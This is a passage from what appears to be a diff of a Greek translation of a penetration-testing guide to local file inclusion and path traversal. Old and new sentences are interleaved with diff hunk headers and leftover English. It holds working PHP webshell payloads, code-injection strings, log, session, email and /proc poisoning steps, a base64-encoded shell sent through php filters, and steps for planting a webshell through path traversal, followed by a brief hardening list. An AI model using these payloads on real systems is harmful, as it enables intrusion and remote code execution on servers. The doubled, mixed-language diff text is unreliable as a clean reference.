Ενώ αυτό στοχεύει στο να σταματήσει το traversal, δημιουργεί άθελά του ένα διάνυσμα για code injection. Για να εκμεταλλευτεί αυτό για ανάγνωση περιεχομένου αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
Παρόλο που αυτό στοχεύει στο να εμποδίσει τη traversal, άθελά του δημιουργεί ένα vector για code injection. Για να το εκμεταλλευτεί για την ανάγνωση του περιεχομένου αρχείων, ένας attacker θα μπορούσε να χρησιμοποιήσει:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει:
Παρομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει:
```plaintext
' and die(system("id")) or '
```
@ -420,35 +410,35 @@ It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** την **διαδρομή αρχείου** μιας **συνάρτησης PHP** που θα **προσπελάσει ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στο **`file()`**) και το περιεχόμενο δεν εμφανίζεται.
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** τη **διαδρομή αρχείου** μιας **PHP function** που θα **πρόσβαση** σε ένα αρχείο αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**), ενώ το περιεχόμενο δεν εμφανίζεται.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
Στο [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς ένα blind path traversal μπορεί να καταχραστεί μέσω PHP filter για να **exfiltrate το περιεχόμενο ενός αρχείου μέσω ενός error oracle**.
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
Εν συντομία, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** που η **PHP function που ανοίγει** το αρχείο θα προκαλέσει ένα **error**.
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
Έπειτα, για να leak ο πρώτος χαρακτήρας χρησιμοποιείται το filter **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά χρησιμοποιούνται τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους leak**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post!
Για τις τεχνικές λεπτομέρειες δείτε το αναφερόμενο post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Όταν κώδικας server-side που δέχεται/ανεβάζει αρχεία κατασκευάζει τη διαδρομή προορισμού χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη (π.χ. όνομα αρχείου ή URL) χωρίς canonicalising και validating, τα segments `..` και οι απόλυτες διαδρομές μπορούν να ξεφύγουν από τον προοριζόμενο κατάλογο και να προκαλέσουν arbitrary file write. Αν μπορείτε να τοποθετήσετε το payload σε έναν web-exposed κατάλογο, συνήθως αποκτάτε unauthenticated RCE ρίχνοντας ένα webshell.
Τυπική ροή εκμετάλλευσης:
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που αποδέχεται ένα path/filename και γράφει περιεχόμενο στο disk (π.χ., message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
Τυπικό workflow εκμετάλλευσης:
- Εντοπίστε έναν write primitive σε ένα endpoint ή background worker που δέχεται μια διαδρομή/όνομα αρχείου και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
- Προσδιορίστε web-exposed directories. Συνηθισμένα παραδείγματα:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Δημιουργήστε μια traversal διαδρομή που σπάει έξω από τον προοριζόμενο storage κατάλογο προς το webroot, και συμπεριλάβετε το webshell περιεχόμενό σας.
- Πλοηγηθείτε στο dropped payload και εκτελέστε εντολές.
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Κατασκευάστε μια traversal path που θα βγει από τον προβλεπόμενο storage κατάλογο προς το webroot, και συμπεριλάβετε το περιεχόμενο του webshell σας.
- Περιηγηθείτε στο dropped payload και εκτελέστε εντολές.
Σημειώσεις:
- Η ευάλωτη υπηρεσία που εκτελεί το write ίσως ακούει σε ένα non-HTTP port (π.χ., ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα εξυπηρετήσει αργότερα το payload σας.
- Η ευάλωτη υπηρεσία που πραγματοποιεί το write μπορεί να ακούει σε μη-HTTP port (π.χ. ένας JMF XML listener στο TCP 4004). Το κύριο web portal (σε διαφορετική θύρα) θα σερβίρει αργότερα το payload σας.
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή `File`/`Paths` concatenation. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
@ -475,25 +465,25 @@ in.transferTo(out);
</Command>
</JMF>
```
Ενίσχυση ασφαλείας που εξουδετερώνει αυτήν την κατηγορία ευπαθειών:
- Επίλυση σε κανονική διαδρομή και εξασφάλιση ότι είναι απόγονος ενός βασικού καταλόγου που περιλαμβάνεται στη λίστα επιτρεπόμενων.
- Απόρριψη οποιασδήποτε διαδρομής που περιέχει `..`, απόλυτες ρίζες, ή γράμματα δίσκου; προτιμήστε παραγόμενα ονόματα αρχείων.
- Εκτέλεση του writer ως λογαριασμός με χαμηλά δικαιώματα και απομόνωση των καταλόγων εγγραφής από τις ρίζες που εξυπηρετούνται.
Σκληροποίηση που εξουδετερώνει αυτή την κλάση σφαλμάτων:
- Μετατρέψτε τη διαδρομή σε κανονική μορφή και επιβάλετε ότι είναι απόγονος ενός επιτρεπόμενου (allow-listed) βασικού καταλόγου.
- Απορρίψτε οποιαδήποτε διαδρομή περιέχει `..`, απόλυτες ρίζες ή γράμματα δίσκων· προτιμήστε παραγόμενα ονόματα αρχείων.
- Τρέξτε τον writer ως λογαριασμό με χαμηλά δικαιώματα και διαχωρίστε τους καταλόγους εγγραφής από τις ρίζες που εξυπηρετούνται.
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
Επεξηγήθηκε προηγουμένως, [**follow this link**](#remote-file-inclusion).
### Μέσω αρχείου καταγραφής Apache/Nginx
### Via Apache/Nginx log file
Αν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη συνάρτηση include μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στα **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, να τοποθετήσετε στο **user agent** ή σε μια **GET parameter** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο
Εάν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη συνάρτηση include, μπορείτε να δοκιμάσετε να αποκτήσετε πρόσβαση στα **`/var/log/apache2/access.log` ή `/var/log/nginx/access.log`**, να τοποθετήσετε μέσα στο **user agent** ή σε ένα **GET parameter** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο
> [!WARNING]
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν στη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα μετατραπούν στη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτε άλλο δεν θα εκτελεστεί**.
>
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα κάνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
> Επίσης, βεβαιωθείτε ότι **γράφεται σωστά το payload** αλλιώς η PHP θα εμφανίσει σφάλμα κάθε φορά που θα προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά **προσέξτε,** ο κώδικας μέσα στα logs μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα logs. Η PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
```python
/var/log/apache2/access.log
@ -510,31 +500,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Μέσω Email
**Στείλτε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να το include στο mail του χρήστη με ένα path όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
**Στείλτε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να include το mail του χρήστη με μια διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
### Μέσω /proc/*/fd/*
### Μέσω /proc/\*/fd/\*
1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD ο file descriptor (μπορεί επίσης να βρεθεί με brute force)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD το file descriptor (επίσης μπορεί να βρεθεί με brute force)
### Μέσω /proc/self/environ
Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα εμφανιστεί μέσα στο αρχείο /proc/self/environ
Όπως σε ένα log αρχείο, στείλτε το payload στο User-Agent, θα αντικατοπτριστεί μέσα στο αρχείο /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Μέσω upload
### Μέσω μεταφόρτωσης
Εάν μπορείτε να upload ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (e.g : `<?php system($_GET['c']); ?>` ).
Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ.: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εγχύσετε στα μεταδεδομένα των εικόνων/doc/pdf
Για να διατηρηθεί το αρχείο ευανάγνωστο, είναι καλύτερο να inject στα metadata των εικόνων/doc/pdf
### Μέσω μεταφόρτωσης αρχείου ZIP
### Μέσω ZIP file upload
Μεταφορτώστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και προσπελάστε:
Μεταφορτώστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -545,41 +535,41 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Στο PHP αυτές οι συνεδρίες αποθηκεύονται σε αρχεία _/var/lib/php5/sess\\_\[PHPSESSID]\_
Στο PHP αυτές οι sessions αποθηκεύονται σε _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Ορίστε το cookie σε `<?php system('cat /etc/passwd');?>`
Θέστε το cookie σε `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο session του PHP.
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το PHP session file
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Μέσω ssh
Αν το ssh είναι ενεργό, έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να αποκτήσεις πρόσβαση στο **\<HOME>/.ssh/id_rsa**
Αν το ssh είναι ενεργό έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να αποκτήσεις πρόσβαση στο **\<HOME>/.ssh/id_rsa**
### **Μέσω** **vsftpd** _**αρχεία καταγραφής**_
### **Μέσω** **vsftpd** _**logs**_
Τα αρχεία καταγραφής για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε εκτεθειμένο vsftpd server, μπορούν να ληφθούν υπόψη τα εξής βήματα:
Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στην περίπτωση όπου υπάρχει ευπάθεια Local File Inclusion (LFI), και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να ληφθούν υπόψη τα ακόλουθα βήματα:
1. Εισήγαγε ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
2. Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα αρχεία καταγραφής του server από _**/var/log/vsftpd.log**_.
1. Εισχώρησε ένα PHP payload στο πεδίο username κατά τη διάρκεια της διαδικασίας login.
2. Μετά την έγχυση, χρησιμοποίησε την LFI για να ανακτήσεις τα logs του server από _**/var/log/vsftpd.log**_.
### Μέσω php base64 filter (using base64)
### Μέσω php base64 filter (χρησιμοποιώντας base64)
Όπως φαίνεται σε [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, το PHP base64 filter απλώς αγνοεί μη-base64. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: αν δώσεις base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
Όπως δείχνει σε [αυτό](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, PHP base64 filter απλώς αγνοεί μη-base64. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο κατάληξης αρχείου: αν παρέχεις base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Μέσω php filters (δεν απαιτείται αρχείο)
### Μέσω php filters (δεν χρειάζεται αρχείο)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε τα **php filters για να παράγετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **παράγετε αυθαίρετο php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Το οποίο βασικά σημαίνει ότι μπορείτε να **generate arbitrary php code** for the include **without needing to write** it into a file.
{{#ref}}
@ -588,7 +578,7 @@ lfi2rce-via-php-filters.md
### Μέσω segmentation fault
**Upload** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στο **ίδιο αίτημα,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
**Upload** ένα αρχείο που θα αποθηκευτεί ως **temporary** στο `/tmp`, στη συνέχεια στην **same request,** προκαλέστε ένα **segmentation fault**, και τότε το **temporary file won't be deleted** και μπορείτε να το αναζητήσετε.
{{#ref}}
@ -597,7 +587,7 @@ lfi2rce-via-segmentation-fault.md
### Μέσω Nginx temp file storage
Αν εντοπίσατε ένα **Local File Inclusion** και **Nginx** τρέχει μπροστά από PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την εξής τεχνική:
Αν βρήκατε μια **Local File Inclusion** και το **Nginx** τρέχει μπροστά από το PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την παρακάτω τεχνική:
{{#ref}}
@ -606,16 +596,16 @@ lfi2rce-via-nginx-temp-files.md
### Μέσω PHP_SESSION_UPLOAD_PROGRESS
Αν έχετε βρει ένα **Local File Inclusion** ακόμη και αν **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε την **`PHP_SESSION_UPLOAD_PROGRESS`** στα δεδομένα **multipart POST**, το PHP θα **ενεργοποιήσει το session για εσάς**. Μπορείτε να καταχραστείτε αυτό για να αποκτήσετε RCE:
Αν βρήκατε μια **Local File Inclusion** ακόμη κι αν **don't have a session** και το `session.auto_start` είναι `Off`. Εάν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **enable the session for you**. Μπορείτε να το καταχραστείτε για να αποκτήσετε RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Μέσω temp file uploads σε Windows
### Μέσω temp file uploads in Windows
Αν εντοπίσατε ένα **Local File Inclusion** και ο server τρέχει σε **Windows**, ίσως αποκτήσετε RCE:
Αν βρήκατε μια **Local File Inclusion** και ο server τρέχει σε **Windows** μπορεί να αποκτήσετε RCE:
{{#ref}}
@ -624,7 +614,7 @@ lfi2rce-via-temp-file-uploads.md
### Μέσω `pearcmd.php` + URL args
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει εξ ορισμού σε php docker images. Επιπλέον, είναι δυνατό να περάσετε arguments στο script μέσω του URL επειδή αναφέρεται ότι αν ένα URL param δεν έχει `=`, θα χρησιμοποιηθεί ως argument. Δείτε επίσης το [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) και το [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε php docker images. Επιπλέον, είναι δυνατό να περάσετε arguments στο script μέσω του URL επειδή υποδεικνύεται ότι αν ένα URL param δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως argument. Δείτε επίσης [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) και [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Το παρακάτω request δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
```bash
@ -639,7 +629,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Μέσω phpinfo() (file_uploads = on)
Αν βρείτε ένα **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on, μπορείτε να αποκτήσετε RCE:
Αν βρήκες μια **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on μπορείς να πάρεις RCE:
{{#ref}}
@ -648,7 +638,7 @@ lfi2rce-via-phpinfo.md
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Αν βρείτε ένα **Local File Inclusion** και **can exfiltrate the path** του προσωρινού αρχείου ΑΛΛΑ ο **server** ελέγχει αν το **file to be included has PHP marks**, μπορείτε να προσπαθήσετε να **bypass that check** με αυτή την **Race Condition**:
Αν βρήκες μια **Local File Inclusion** και **can exfiltrate the path** του temp file ΑΛΛΑ ο **server** είναι **checking** αν το **file to be included has PHP marks**, μπορείς να δοκιμάσεις να **bypass that check** με αυτή τη **Race Condition**:
{{#ref}}
@ -657,22 +647,23 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Μέσω eternal waiting + bruteforce
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **upload temporary files** και να κάνετε τον server να **hang** την εκτέλεση PHP, τότε μπορείτε να **brute force filenames during hours** για να βρείτε το προσωρινό αρχείο:
Αν μπορείς να εκμεταλλευτείς το LFI για να **upload temporary files** και να κάνεις τον server να **hang** την PHP εκτέλεση, τότε μπορείς να **brute force filenames during hours** για να βρεις το temporary file:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Σε Fatal Error
### Προς Fatal Error
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο one 2 time για να προκαλέσετε αυτό το σφάλμα).
Αν συμπεριλάβεις οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβεις το ίδιο ένα 2 φορές για να προκαλέσεις αυτό το error).
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά ίσως να είναι.**\
_Ακόμα κι αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία που ανέβηκαν διαγράφονται._
_Ακόμα κι αν προκαλέσεις ένα PHP Fatal Error, τα PHP temporary files που ανέβηκαν διαγράφονται._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Αναφορές
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)